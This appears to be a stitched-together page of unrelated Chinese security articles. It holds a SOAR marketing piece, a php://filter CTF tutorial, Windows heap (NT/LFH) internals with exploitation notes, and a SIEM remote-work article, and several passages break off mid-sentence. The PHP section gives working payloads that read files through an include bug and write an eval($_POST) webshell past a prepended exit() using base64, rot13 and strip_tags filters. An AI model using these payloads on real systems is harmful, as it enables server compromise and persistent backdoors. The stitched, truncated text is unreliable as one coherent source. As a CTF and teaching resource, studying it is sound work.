为什么安全编排、自动化和响应 (SOAR)是安全平台的基础?
由于最近的全球健康危机所造成的“新常态”,如今的安全团队面临着越来越多的挑战。疫情的反反复复,那些在太多工具、太多数据中苦苦挣扎的团队发现,协作和交流变得更加困难,因为他们的员工必须转到虚拟安全运营中心 (SOC) 模型中,同时还要应对越来越多的威胁并投入更多的时间来满足家人和家庭需求。
互不关联的团队加速了对开放、互联平台的安全方法的需求。借助这种方法,组织可以:将新的安全工具与现有安全工具整合在一起,进而实现投资最大化;将SOC 分析人员的工作流转移到单个位置,进而提升他们的生产效率;随着 IT 和安全计划的变化为组织提供灵活性。我们对下一代开放、集成安全平台的愿景围绕下述三个主要原则而构建:
1. 开放架构:如今,组织会使用越来越多的不同工具和云平台,因此下一代安全平台必须具有足够的开放性,才能轻松与来自不同供应商的不同工具进行协同。整合现有工具或移动数据通常由于成本过高、过于复杂而让组织无法实施,但是采用基于开源技术并由开放标准机构支持的平台,便能够让团队以标准化的方式将所有工具整合在一起,进而实现现有投资的最大化。
2. 集中式中心:SOC 分析人员可以使用单个主记录系统来管理其工作流程,进而提升工作效率。在开放架构之上而构建的集中式中心提供了一种融合人员、流程和技术的方式。这使得分析人员可以摆脱他们所用的单个工具,并将其工作简化到单个位置,同时仍可从现有工具中发掘有价值的数据,并减少就所有的已部署工具对整个 SOC 进行训练的需求。目标在于在适当的时间自动将适当的信息呈现到适当的人员面前,让问题得到有效而果断的解决。
3. 灵活部署:大多数组织都使用多个云平台和内部解决方案来管理其安全和IT 环境。此外,每个组织通常都处在自己独特的云之旅中。可在任何位置部署的下一代安全平台能够让企业灵活选择目前和将来的最佳选项,同时避免锁定到特定的部署模型。
SOAR 是下一代安全平台的核心
安全编排、自动化和响应 (SOAR) 解决方案基于 Gartner 定义的四个引擎而构建,分别是:工作流和协作、凭证和案例管理、编排和自动化以及威胁情报管理。结合采用这些功能可以将人员、流程和技术融合在一起,进而提高 SOC 生产效率、缩短事件响应 (IR) 时间。因此,这些引擎也能够为强大的安全堆栈提供理想的基础。的确,基于开放架构并采用灵活混合云部署的 SOAR 功能是构建符合这一愿景的安全平台的理想方法。
将 SOAR 置于安全平台的核心有助于团队以集中、协调的方式开展工作,进而实现整个生态系统以及所有安全流程的价值扩展和最大化。将 SOAR 功能整合到下一代安全平台之中,将能够提供一个坚实的基础,进而帮助组织实现诸多优势。
加强安全团队内部和外部的沟通
任何 SOC,尤其是虚拟 SOC,都需要通过无缝协作来指导响应并组织任务 - 这是 SOAR 平台的关键功能之一。团队无需从头开始,只需要遵循动态运行手册中嵌入的工作流程以智能的方式开展工作即可。此外,安全团队可以利用 SOAR的工作流和协作引擎与不同的职能部门(如 IT、法律、人事或 PR 等)的关键参与者进行沟通,进而促进协调一致且有效的响应。
通过集中式案例管理提升效率
SOC 分析人员可以通过案例管理功能提升效率,此类功能可以通过 SOAR 解决方案的集中式中心进行管理,无需在多个工具和仪表板之间来回切换。在案例管理从 SOAR 解决方案扩展到更广泛的安全平台之后,便可为分析人员提供一种通用格式,以供在所有连接的功能中使用。强大的案例管理功能还包括仪表板和报告功能,用以跟踪指标和 KPI、突出显示趋势和差距并提升 SOC 的业务价值。
生态系统深度和广度的最大化
安全团队可以通过开放架构实现其生态系统深度和广度的最大化。借助开放的、基于标准的方法,SOC 团队可以通过跨各种数据源和工具的集成来利用多样化生态系统的功能,同时充分利用现有投资。这些技术的编排能够扩展 SOAR 功能,同时为安全分析人员提供对生态系统的更高可视性。
将 SOAR 置于下一代平台的核心,有助于让客户将 SOAR 的优势扩展到创建SOAR 所针对的 IR 流程之外,进而将漏洞管理、身份管理、DevSecOps 等安全流程涵盖在内。如此一来,不仅从逻辑上扩展了该项投资,进而产生额外的ROI,而且还能够生成有关这些流程的 KPI,用于推动持续改善并转变安全部门与组织其他部门的关系。
PHP伪协议的妙用
filter协议的简单利用:
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
首先给出最简单的文件包含的示例代码:
<?php
$file = $_GET["file"];
include($file);
?>
在同目录下有一个flag.php文件:
<?php
$flag = "flag{Lxxx}";
想要读取flag.php文件,可以利用filter伪协议,传参如下:
?file=php://filter/convert.base64-encode/resource=flag.php
这样即可读到flag.php文件base64加密过后的内容
PD9waHANCiRmbGFnID0gImZsYWd7THh4eH0iOw0K
然而,对于filter协议,不只有这一种写法:
?file=php://filter/read=convert.base64-encode/resource=flag.php
#这一种是指定读链的筛选列表
除了使用convert.base64-encode过滤器,还可以使用其他的一些过滤器,比如字符编码类型的,payload如下:
?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
得到结果:
?<hp
p$
lfga= " lfgaL{xx}x;"
将其解码,同样可以得到flag.php原内容
<?php$str = "lfga= \" lfgaL{xx}x;\"";echo iconv('UCS-2BE', 'UCS-2LE', $str);?>
得到结果:
flag = "flag{Lxxx}";
其他有关PHP支持的字符编码官方文档如下:https://www.php.net/manual/zh/mbstring.supported-encodings.php
filter协议的进阶利用:
利用filter伪协议绕过死亡之die、死亡之exit
假设我们有以下代码:
<?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
这几行代码允许我们写入文件,但是当我们写入文件的时候会在我们写的字符串前添加exit的命令。这样导致我们即使写入了一句话木马,依然是执行不了一句话的。
分析这几行代码,一共需要我们传两个参数,一个是POST请求的content,另一个是GET请求的filename,而对于GET请求中的filename变量,我们是可以通过php://filter伪协议来控制的,在前面有提到,最常见的方法是使用base64的方法将content解码后传入。
base64编码绕过:
假设我们先随便传入一句话木马:
?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
这个时候我们打开1.php文件:
可以发现里面是一堆乱码,原因是不仅我们的加密后的一句话木马进行了base64解码,而且前面的死亡之exit也进行了解码。
我们仔细分析一下死亡之exit的代码:
<?php exit; ?>
base64编码中只包含64个可打印字符,而当PHP在解码base64时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码。
例如:
<?php$str = "THh4eA==";echo base64_decode($str);?>
得到结果:Lxxx
如果我们在str变量中添加一些不可见的字符或者是不可解码字符(\x00,?)
<?php$str = "TH?h4eA==";echo base64_decode($str);?>
得到的结果仍然为:Lxxx
因此,对于死亡之exit中的代码,字符<、?、;、>、空格等字符不符合base64解码范围。最终解码符合要求的只有phpexit这7个字符,而base64在解码的时候,是4个字节一组,因此还少一个,所以我们将这一个手动添加上去。
传payload如下:
?filename=php://filter/convert.base64-decode/resource=1.phpPOSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
content中第一个字符a就是我们添加的
这个时候我们查看1.php的内容如下:
可以看到一句话木马已经成功写入了。
rot13编码绕过:
除了使用base64编码绕过,我们还可以使用rot13编码绕过。相比base64编码,rot13的绕过死亡之exit更加方便,因为不用考虑前面添加的内容是否可以用base64解码,也不需要计算可base64解码的字符数量。
同样的还是上面的示例代码:
<?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
传payload:
?filename=php://filter/string.rot13/resource=1.phpPOSTDATA: content=<?cuc riny($_CBFG[1]);?>
打开1.php文件:
可以看到,一句话木马也成功写入了。
虽然rot13更加的方便,但是还是有缺点,就是当服务器开启了短标签解析,一句话木马即使写入了,也不会被PHP解析。
多种过滤器绕过:
再仔细观察死亡之exit的代码:
<?php exit; ?>
可以看到死亡之exit的代码其实本质上是XML标签,因此我们可以使用strip_tags函数除去该XML标签
并且,filter协议允许我们使用多种过滤器,所以我们还是针对上面的实例代码:
<?php$content = $_POST['content'];file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
传payload如下:
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.phpPOSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
查看1.php
这时候可以看到一句话木马干干净净地在1.php文件中,不掺杂任何杂质
参考资料
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://xz.aliyun.com/t/8163
相关实验:https://www.yijinglab.com/expc.do?ec=ECIDa96d-c30c-45f2-b109-1adb6a9fc2ee<>
windows 堆分析
windows和linux堆管理机制虽然呈现给用户的效果是一样的,大体思路也是差不太多,但是底层实现逻辑大相径庭,很多地方和glibc的ptmalloc差别很大。网上资料零零散散,而且都是通过逆向手段分析,所以每个版本资料还多少有些差异,在这里对windows堆管理机制做个归纳,学习一下。
接口
在glibc中,通常我们调用的分配函数就是malloc、calloc、realloc,但是这三个函数本质都差不多,本体还是malloc函数的逻辑。
在windows中,堆的分配函数就比较多了这里我们逐一介绍一下。
函数原型参数说明HeapAlloc(HANDLE hHeap, DWORD dwFlags, size_t dwSize)hHeap为进程堆开始位置,flag就是标志,size就是大小。内存是指定位置开始分配,且分配的内存不可移动。对应的释放函数是HeapFreeGlobalAlloc(UINT uFlags, size_t dwBytes)uflag标志信息:GMEM_FIXED分配固定内存,返回一个指针;GMEM_MOVABLE分配活动内存,返回内存对象句柄,这个句柄可以利用GlobalLock转化为指针。从全局堆中分配内存,相应的释放函数是GlobalFreeLocalAlloc(UIN
从接口信息可以看出来,windows和linux堆的一个很大的不同点就是windows的堆有很多,linux的话都在一个区域里。
另外,globalalloc和localalloc在现代的win32以后的版本中没有区别,这两个函数刚开始是在16位windows中使用有区别的。在win32中每个程序都有一个自己的缺省堆,所以全局堆和局部堆在win32中都指向这个缺省堆,这俩没区别,甚至释放函数都可以混着用。等效于heapAlloc(GetProcessHeap(),flag,size)
malloc函数虽然不像其他的函数那样指明了堆区,但是实际上windows中malloc函数在初始化的时候自己HeapCreate了一段堆内存区域供他使用。每个模块的malloc都有自己的堆区域,所以不能一个dllfree掉另一个dll的堆指针。
概览
windows堆管理机制较之于linux比较复杂,管理机制也分好几套。
UWP即Windows通用应用平台,Windows 10中的Universal Windows Platform简称。UWP不同于传统pc上的exe应用,可以在所有Windows10设备上运行。UWP应用程序进程至少包括三个堆:(1) 默认堆(2) 用于向进程的会话Csrss.exe实例传递大参数的共享堆。这是由CsrClientConnectToServer函数创建的,该函数在Ntdll.dll完成的进程初始化早期执行。(3) 由Microsoft C运行库创建的堆。该堆是由C/C++内存分配函数(如Maloc、Free、等)内部使用的堆。
在Windows10和服务器2016之前,只有一种堆类型,我们称之为NT堆。Windows 10引入了一种称为段堆(segment heap)的新堆类型。这两种堆类型包括公共元素,但结构和实现方式不同。默认情况下,所有UWP应用程序和某些系统进程都使用段堆,而所有其他进程都使用NT堆。这可以在注册表中更改。
大部分场合默认使用的堆都是NT heap,segment heap通常会在winapp或者某些特殊的进程(核心进程)中会使用到。
而在NT heap中又分为前端管理和后端管理两套不同的堆分配管理策略。
而windows程序的堆又分为两种:
第一种叫做processheap,它包括两个部分,一个是default heap,其地址信息回存放于_PEB中,在调用malloc等函数的时候会用到。第二个是crtheap,但是其本质一样是default,封装了一些别的信息,存放于crt_heap中。
第二种叫做private heap,也就是我们通过HeapCreate创建的堆。
NT堆
大体流程
大体流程就是windows app调用msvcrt140.dll函数中的形如malloc、free等函数后,会调用kernel32.dll中的堆管理api,接着调用ntdll中的管理机制。
这里的管理机制中,LFH就是前端管理的核心,那么整个流程具体来说就是如下的逻辑:
(1) 小于或等于16368字节,使用LFH分配器。这与NT堆的逻辑类似。如果LFH还没有启动,那么将使用可变大小(VS)分配器。(2) 对于小于或等于128 KB的大小(不由LFH提供服务),使用VS分配器。VS和LFH分配器都使用后端根据需要创建所需的堆子段。(3) 大于128 KB且小于或等于508 KB的分配由堆后端直接提供服务。(4) 大于508kb的分配直接调用内存管理器(VirtualAlloc),因为这些分配非常大,因此使用默认的64kb分配粒度(并舍入到最接近的页面大小)就足够了。
如果LFH没有启用,那么就直接调用后端堆管理机制。
启用LFH后,第一次申请或者LFH内部空间不够时会从后端堆中申请一段大空间来使用。
如果LFH搞定了申请,那么直接由LFH返回,不调用后端。
可以看出前端分配器就有点类似于linux中的fastbin。
这里要说明一下,在之前的windows版本中,前端分配器并不是LFH,而是look aside表,也就是0day一书中提到的快表,但是windows10中已经不适用lookaside了。
数据结构
由前面的内容可以看出来windows有很多的堆,从linux的管理机制中,我们知道每个堆都由一个重要的数据结构malloc_state来管理,这些个mallocstate就称之为arena,主线程叫main_arena,别的叫thread_arena,这些个数据结构由指针链接形成链表。
那么在windows的堆管理机制中,同样也需要类似于arena这样的结构体。但是不同于linux,每个这样的堆管理结构体是存放于每个堆段的头部,并不是在某些dll的数据段中。
这个数据结构就称之为_HEAP,长这个样子:
+0x000 Segment : _HEAP_SEGMENT +0x000 Entry : _HEAP_ENTRY +0x008 SegmentSignature : Uint4B //用来判断NT还是Segment +0x00c SegmentFlags : Uint4B +0x010 SegmentListEntry : _LIST_ENTRY +0x018 Heap : Ptr32 _HEAP +0x01c BaseAddress : Ptr32 Void +0x020 NumberOfPages : Uint4B +0x024 FirstEntry : Ptr32 _HEAP_ENT
其中比较重要的字段意义都写在了注释中。
在linux中,堆是由一个个chunk构成的,在windows中也一样,也是由一个个堆块构成。
这样一个堆块的结构,称之为_HEAP_ENTRY。这个结构比较奇怪,似乎有好几种实现方式?以为同样偏移有不同的意思。
ntdll!_HEAP_ENTRY +0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY +0x000 PreviousBlockPrivateData : Ptr64 Void +0x008 Size : Uint2B +0x00a Flags : UChar +0x00b SmallTagIndex : UChar +0x008 SubSegmentCode : Uint4B +0x00c PreviousSize : Uint2B +0x00e SegmentOffset : UChar +0x00e LFHFlags : UChar +0x00f Un
在老外逆出来的c版本中是这样的:
//0x10 bytes (sizeof)struct _HEAP_ENTRY{ union { struct _HEAP_UNPACKED_ENTRY UnpackedEntry; //0x0 struct { VOID* PreviousBlockPrivateData; //0x0 union { struct { USHORT Size; //0x8 UCHAR Flags; //0xa UCHAR SmallTagIndex; //0xb }; struct { ULONG SubSegmentCode; //0x8 USHORT PreviousSize; //0xc union
这里的话主要是因为一个chunk(也就是_HEAP_ENTRY,这么叫方便些)有不同的状态,所以就union一下。
那么具体来说,一个chunk有三种状态:使用(allocated)、释放(free)、虚拟(virtual alloc)(mmap出来的chunk)。
使用状态(inuse):
偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据,由于需要0x10对其所以算在头部0x8: Size2bytes本chunk的大小,这里的大小是 real_size >> 40xa: Flag1byte表示当前chunk是否inuse0xb: smallTagIndex1byte前三个byte(size和flag)做xor后的值,验证作用0xc: PreviousSIze2bytes表示前一个chunk的size,同样也是右移4位后的值0xe: SegmentOffset1byte某些情况下用来找segment0xf: Unused
释放状态(unused):
偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据,由于需要0x10对其所以算在头部0x8: Size2bytes本chunk的大小,这里的大小是 real_size >> 40xa: Flag1byte表示当前chunk是否inuse0xb: smallTagIndex1byte前三个byte(size和flag)做xor后的值,验证作用0xc: PreviousSIze2bytes表示前一个chunk的size,同样也是右移4位后的值0xe: SegmentOffset1byte某些情况下用来找segment0xf: Unused
virtualAlloc状态:
偏移&名称大小意义0x0: flink8bytes双向链表指针0x8: blink8bytes双向链表指针0x10: size2bytes这里的size是unusedsize,且没有进行移位0x12: flag1byte
0x13: smallTagIndex1byte
0x14: PreviousSIze2bytes
0x16: SegmentOffset1byte
0x17:UnusedBytes1byte恒为4
这里的virtualalloc的chunk状态可能有些勘误,因为网上关于这里的资料比较少。
这里要说明一下,关于chunk头部的验证:
在之前的_HEAP结构体中有一个encoding字段,这个cookie就是为了加密头部来用的,具体来说就是xor一下,所以在对chunk进行操作的时候会验证其有效性。同时SmallTagIndex也会对flag和size做一个验证。
free_list
这个是在_HEAP中的一个指针,指向的是free的chunk的链表,双向有序链表。在一个chunk被释放后,会插入到这个list中(类似于unsortedbin)
BlocksIndex
这个指针的结构是_HEAP_LIST_LOOKUP。
这一结构体长这个样子:
//0x38 bytes (sizeof)struct _HEAP_LIST_LOOKUP{ struct _HEAP_LIST_LOOKUP* ExtendedLookup; //0x0 指向下一个lookup,通常chunk会更大 ULONG ArraySize; //0x8 管理的最大chunk大小(右移4位后) ULONG ExtraItem; //0xc ULONG ItemCount; //0x10 当前管理的chunk数 ULONG OutOfRangeItems; //0x14 超出该结构体管理的chunk数量 ULONG BaseIndex; //0x18 该结构管理的chu
这两个链表之间的关系如下图(摘自angelboy的slide)
可以看到,所有的chunk都是存储在freelist中,而blockindex用来定位这些在freelist中的chunk的位置,快速找到合适大小的chunk。
NT后端管理机制
管理机制无非就是申请和释放的逻辑。
申请
申请时,分为三种情况:
1.Size<=0x40002.0x4000<size<=0xff0003.Size>0xff000
第一种情况,当size<=0x4000时:1.查看size对应到的FrontEndHeapStatusBitmap使否有启用LFH如果有的话会对对应到的FrontEndHeapUsageData加上0x21,并且检查值是否超过0xff00或者 &0x1f 后超过0x10 : 超过则启用LFH。
2.接下来首先查看对应的ListHint中是否有chunk,有则优先分配(先看快表)如果有大小合适的chunk在ListHint上则移除ListHint,并且查看chunk的Flink⼤⼩是否size与此chunk相同(注意FreeLists按大小排序):为空则清空,否则将LintHint填上Flink。最后unlink该chunk,把此chunk从linkedlist中移除返回给user,并将header xor回去(返回时header被encode)
3: 若没有大小合适的chunk: 则从比较⼤的ListHint中找,有找到比较大的chunk后,同样查看下⼀块chunk的size是不是一样大小,有则填上,并且unlink该chunk, 从freelist移除。最后将chunk做切割,剩下的⼤⼩重新加入Freelist,如果可以放进ListHint就会放进去,将切割好的chunk返回给使用者(chunk header同样encode)
4.如果FreeList中没有可以操作的chunk,则尝试ExtendHeap来加大heap空间,再从extend出来的heap取chunk,接着像上面一样分割返回(chunk header encode),剩下的放回ListHint
第二种情况,当0x4000<size<=0xff000
基本和第一种情况差不多,但是没有LFH操作。
第三种情况,当size大于0xff000
直接使⽤ZwAllocateVirtualMemory,类似直接mmap一大块空间,并且会插入到_HEAP->VirtualAllocdBlocks这个linked list中(这个linked list用来串接该HeapVirtualAllocate出来的区段)
释放
分两种情况,大于小于0xff000分别讨论
size<=0xff000
1:首先检查alignment,利⽤unusedbyte判断该chunk状态如果是非LFH模式下,会对对应到的FrontEndHeapUsageData减12:接下来会判断前后的chunk是否为freed,是的话就合并此时会把可以合并的chunk unlink,并从ListHint移除(移除⽅式与前⾯相同,查看下一个chunk是不是相同⼤⼩,是则补上ListHint)3:合并之后,update size&prevsize,然后查看是不是最前跟最后,是就插入,否则就从ListHint中插入,并且update ListHint,插入 时也会对linked list进行检查(此检查不会abort,其
具体的流程可以参考angelboy的slide。
size > 0xff000
检查该chunk的linkedlist并从_HEAP->VirtualAllocdBlocks移除接着使⽤RtlpSecMemFreeVirtualMemory将chunk整个munmap掉
NT前端管理机制
也就是之前一直提到的LFH(low fragment heap),在win10主要使用,只有在非调试状态下才会启用,根据之前的内容也不难推测,是用来管理大小小于0x4000的chunk的。
要想触发LFH,需要分配18个相同大小的堆块,他们可以不连续。
如何查看LFH是否开启呢?在windbg中,可以通过dt _HEAP [Heap Address]查看heap结构体,在偏移0x0d6处FrontEndHeapType字段可以揭示是否开启了LFH,如果为0则说明后端堆在管理,为1就是lookaside策略,2就说明是LFH。
另一种方式可以查看一个chunk是否属于LFH管理,通过!heap -x [Chunk Address]来查看
数据结构
相关的重要的数据结构为_LFH_HEAP,在 _HEAP结构中,frontEndHeap指针指向这一结构。
这个结构的话不同版本windows还不一样,贴个图:
这里看win10的就可以
0:001> dt _LFH_HEAPntdll!_LFH_HEAP +0x000 Lock : _RTL_SRWLOCK +0x008 SubSegmentZones : _LIST_ENTRY +0x018 Heap : Ptr64 Void //指向对应的_HEAP +0x020 NextSegmentInfoArrayAddress : Ptr64 Void +0x028 FirstUncommittedAddress : Ptr64 Void +0x030 ReservedAddressLimit : Ptr64 Void +0x038 SegmentCreate : Uint4B
可以看到这结构体类似于_HEAP,包含了很多指针信息,这其中又有两个结构体需要分析一下。
_HEAP_BUCKET
ntdll!_HEAP_BUCKET +0x000 BlockUnits : Uint2B //分配block大小>>4 +0x002 SizeIndex : UChar //使用大小>>4 +0x003 UseAffinity : Pos 0, 1 Bit +0x003 DebugFlags : Pos 1, 2 Bits +0x003 Flags : UChar
_HEAP_LOCAL_SEGMENT_INFO
ntdll!_HEAP_LOCAL_SEGMENT_INFO +0x000 LocalData : Ptr64 _HEAP_LOCAL_DATA//对应 _LFH_HEAP->LocalData ,便于从 SegmentInfo 找回 _LFH_HEAP +0x008 ActiveSubsegment : Ptr64 _HEAP_SUBSEGMENT//对应已分配的Subsegment,用于管理userblock记录剩余多少chunk、最大分配书等等 +0x010 CachedItems : [16] Ptr64 _HEAP_SUBSEGMENT//_HEAP_SUBSEGMENT array
其中,cachedItems比较重要,其结构体为_HEAP_SUBSEGMENT:
ntdll!_HEAP_SUBSEGMENT +0x000 LocalInfo : Ptr64 _HEAP_LOCAL_SEGMENT_INFO//指向对应的_HEAP_LOCAL_SEGMENT_INFO +0x008 UserBlocks : Ptr64 _HEAP_USERDATA_HEADER //记录要分配出去的chunk所在位置,开头存储一些metadata来管理这些chunk +0x010 DelayFreeList : _SLIST_HEADER +0x020 AggregateExchg : _INTERLOCK_SEQ //用来管理对应的userblock中还有多少free
_INTERLOCK_SEQ
ntdll!_INTERLOCK_SEQ +0x000 Depth : Uint2B //该userblock剩余freechunk的数量 +0x002 Hint : Pos 0, 15 Bits +0x002 Lock : Pos 15, 1 Bit +0x002 Hint16 : Uint2B +0x000 Exchg : Int4B
_HEAP_USERDATA_HEADER
ntdll!_HEAP_USERDATA_HEADER +0x000 SFreeListEntry : _SINGLE_LIST_ENTRY +0x000 SubSegment : Ptr64 _HEAP_SUBSEGMENT //指回对应的_HEAP_SUBSEGMENT +0x008 Reserved : Ptr64 Void +0x010 SizeIndexAndPadding : Uint4B +0x010 SizeIndex : UChar +0x011 GuardPagePresent : UChar +0x012 PaddingBytes : Uint2B +0x014 Sign
其中的EncodingOffset字段就是个验证,在USERBLOCK初始化时会生成这个数值作为验证用,其数值具体来说是以下四个值的xor:
(sizeof(userblock header)) | (blockunit*0x10 << 16)LFHkeyUserblock addrLFH_HEAP addr
在_HEAP_USERDATA_HEADER之后就是一系列的chunks。
在LFH中,chunk虽然还是chunk,但是头部信息和之前学的chunk不一样
偏移&名称大小意义0x0: PreviousBlockPrivateData8bytes前一个chunk的数据,由于需要0x10对其所以算在头部0x8: SubSegmentCode4bytesencode过的metadata,用来推回userblock的位置0xc: PreviousSIze2bytes该chunk在userblock中的index0xe: SegmentOffset1byte
0xf: UnusedByte1byte恒为0x80,用来判断是否为LFH的freechunk0x10: UserData
其中,SubSegmentCode的值为这四个值的xor:
_HEAP addressLFHkeyChunk address >> 4((chunk address) - (UserBlock address)) << 12
搞了这么多结构体,头疼眼晕,好在angelboy大佬给出了LFHheap的overview:
管理机制
在之前的后端管理逻辑中已经对LFH这一概念有所提及。
申请
LFH涉及到初始化工作,具体来说就是查看size对应到的FrontEndHeapStatusBitmap使否有启用LFH如果有的话会对对应到的FrontEndHeapUsageData加上0x21,并且检查值是否超过0xff00或者 &0x1f 后超过0x10 : 超过则启用LFH。也就是在FrontEndHeapUsageData[x] & 0x1F > 0x10的时候,置位_HEAP->CompatibilityFlag |= 0x20000000,下一次Allocate就会对LFH进行初始化:
首先会ExtendFrontENdUsageData,也就是将这个数值增大,然后增加更大的_HEAP->BlocksIndex,因为这里_HEAP->BlocksIndex可以理解为一个_HEAP_LIST_LOOKUP结构的单向链表(参考上面Back-End的解释),且默认初始情况下只存在一个管理比较小的(0x0 ~ 0x80)的chunk的_HEAP_LIST_LOOKUP,所以这里会扩展到(0x80 ~ 0x400),即在链表尾追加一个管理更大chunk的_HEAP_LIST_LOOKUP结构体结点。
在 FrontEndHeapUsageData 写上对应的index,此时 enable LFH 范围变为 (idx: 0-0x400)FrontEndHeapUsageData中分为两部分:对应用于判断LFH是否需要初始化的map以及已经enable LFH的chunk size (例如enable malloc 0x50大小的chunk,则写入0x50>>4=5) 原BlocksIndex进行扩展,即新建一个BlocksIndex,写入原BlocksIndex->ExtendedLookup,进行扩展
建立并初始化_HEAP->FrontEndHeap(通过mmap),即初始化_LFH_HEAP的一些metadata。
建立并初始化_LFH_HEAP->SegmentInfoArrays[x],在SegmentInfoArrays[BucketIndex]处填上对应的_HEAP_LOCAL_SEGMENT_INFO结构体指针。
在初始化后,从LFH分配内存的逻辑为:
1.先看ActiveSubSegment中是否有可以分配的chunk,这个是否有的判断标准就是ActiveSubSegment->AggregateExchg->depth
2.如果没有就从CachedItem中找,找到的话会把ActiveSubSegment换成CachedItem中的SubSegment
到了这一步时,LFH分配器就找到了UserBlock,UserBlock中有很多的chunk可以供用户使用,LFH选取chunk的标准如下:
1.首先从RtlpLowFragHeapRandomData中下标为x处取一个值,这个名字很长的数组是一个长度为256byte的元素大小范围为0-0x7f的随机数数组,每次取,x都会自增1,如果x超过了256,那么x = rand()%256.
2.最终获取的index为RtlLowFragHeapRandomData[x]*maxidx >> 7,检查bitmap是否为0,如果冲突了的话就往后找最近的
3.检查(unused byte & 0x3f)!=0(表示chunk是free的)
4.最后设置index(chunk头部中的previoussize)和unusedbyte返回给用户。
释放
1.将unused位改成0x80
2.根据头部中的字段找到userblock,然后找会Subsegment,根据index设置bitmap
3.更新ActiveSubSegment->AggregateExchg
4.如果释放的chunk不属于当前的ActiveSubSegment就看一下能不能放到cachedItems中,可以就放进去。
利用方式
地址问题
先不考虑如何利用的事,首先关注最基本的问题,要泄漏什么地址?地址在哪?
假设我们有了任意内存地址读写,那么我们就需要泄漏一些关键的函数地址,比如说system,以及攻击的目标点,比如栈地址。
不同于linux,windows有一堆dll函数库。
这里,根据angelboy的slide,需要泄漏的地址为kernelbase以及stackaddress,这两个地址在kernel32.dll。
那么如何泄漏ntdll呢?_HEAP_LOCK相关的信息会指向ntdll,具体来说,就是_HEAP->LockVariable.Lock以及CriticalSection->DebugInfo
在ntdll!PebLdr中,_PEB_LDR_DATA可以找到所有dll的位置。
同样可以从IAT表中找到kernel32,不过需要先泄漏binary的地址。
在KERNELBASE!BasepFilterInfo中,会有大概率包含stack的指针,这个主要是因为内存没有初始化。
如果这个上面没有想要的地址,可以从PEB向后算一个page,通常会是TEB上,这上面也会有stack的地址信息。
攻击的话,angelboy提出的方式就是泄漏地址,然后攻击栈写rop或者shellcode。
后端利用方式
unlink
和linux中的unlink很像(都是双向链表的节点移除),但是绕过条件和linux不同,因为头部的信息不同,需要对一些encode的字段构造一下。还有就是flink和blink指向的是userdata部分。
具体构造就是p -> fd = &p-8, p->bk = &p.
前端利用方式
angelboy同样是只是草草的介绍了下如果有了uaf的话,如何绕过随机在LFHuserblock中分配到指定chunk的方式,具体来说就是填满其他的,下一次肯定就会落到目标点。那么有了uaf之后呢,劫持哪些指针劫持到哪里并没有说明。所以这里的话还需要后续调试的时候整理。
具体怎么攻击才叫合理?哪些攻击面呢?
由于Angelboy给的利用方式太少,而且比较笼统局限,所以我又参考了别的资料,想找到一些类似于linux堆利用手法的攻击方式。
然而现实打了我一巴掌,根据冠城大佬的ppt,在windows中,想通过攻击堆的头部或者其他字段来进行getshell几乎不可能,因为windows堆的防御机制十分严格。堆中比较合理的攻击手法似乎就只有unlink或者其他形式的修改函数指针的方式。
远程工作环境中的可视性与威胁检测
在新冠疫情开始之初,当世界各地的政府下达居家令时,许多员工已经向他们的雇主证明,他们居家办公也可以保持与之前一样的高效率,甚至在某些情况下还可以提高工作效率。
由于这种被迫进行的尝试,许多专家和管理人员现在预测:这种灵活的居家办公策略将会继续存在。Gartner 的研究表明,有 41% 的员工将会继续居家办公,而在新冠疫情发生之前这一比例只有 30%。此外,已有 13% 的首席财务官 (CFO) 开始削减用于办公空间的房地产支出。随着远程工作模式的持续,安全专家需要采用相应的方法来维持已在消失多年的网络外围中几乎不存在的可视性、监控和威胁检测。
尽管存在新的盲点,但在以下四个关键领域中,集中式安全信息和事件管理 (SIEM) 解决方案可以帮助安全团队重新获得并提升可视性与监控。
电子邮件
有针对性的攻击者擅长编写极具吸引力的网络钓鱼电子邮件,而且他们的技巧会越来越纯熟。电子邮件是需要予以监控的最重要的威胁媒介之一,因为在进入组织网络的恶意软件中,有 94% 的恶意软件都是通过网络钓鱼来交付的。若要尽早了解这些威胁,更重要的是,若要准确跟踪网络钓鱼电子邮件打开后发生的情况,安全团队需要获得对整个组织中所发生情况的集中视图。
端点
在大规模转向远程工作模式之前,公司通常可以分为两种类型:
一种是那些几乎完全采用办公室工作模式,其用户使用台式机进行工作的公司,
而另一种是那些支持远程工作模式,其笔记本电脑上的用户可以通过 VPN 连接到网络的公司。
当员工几乎完全转向远程工作模式时,他们都会面临诸多挑战。之前采用办公室工作模式的组织需要迅速弄清楚如何为远程员工启用核心服务和应用,而且在某些情况下,还需要首次部署虚拟专用网络 (VPN)。支持远程工作模式的公司会发现 VPN 使用量激增,网络不堪重负且速度大大降低,从根本上迫使用户不得不脱离 VPN 来维持生产效率。从安全角度来看,两种情况都在端点和用户活动方面引入了大量盲点。
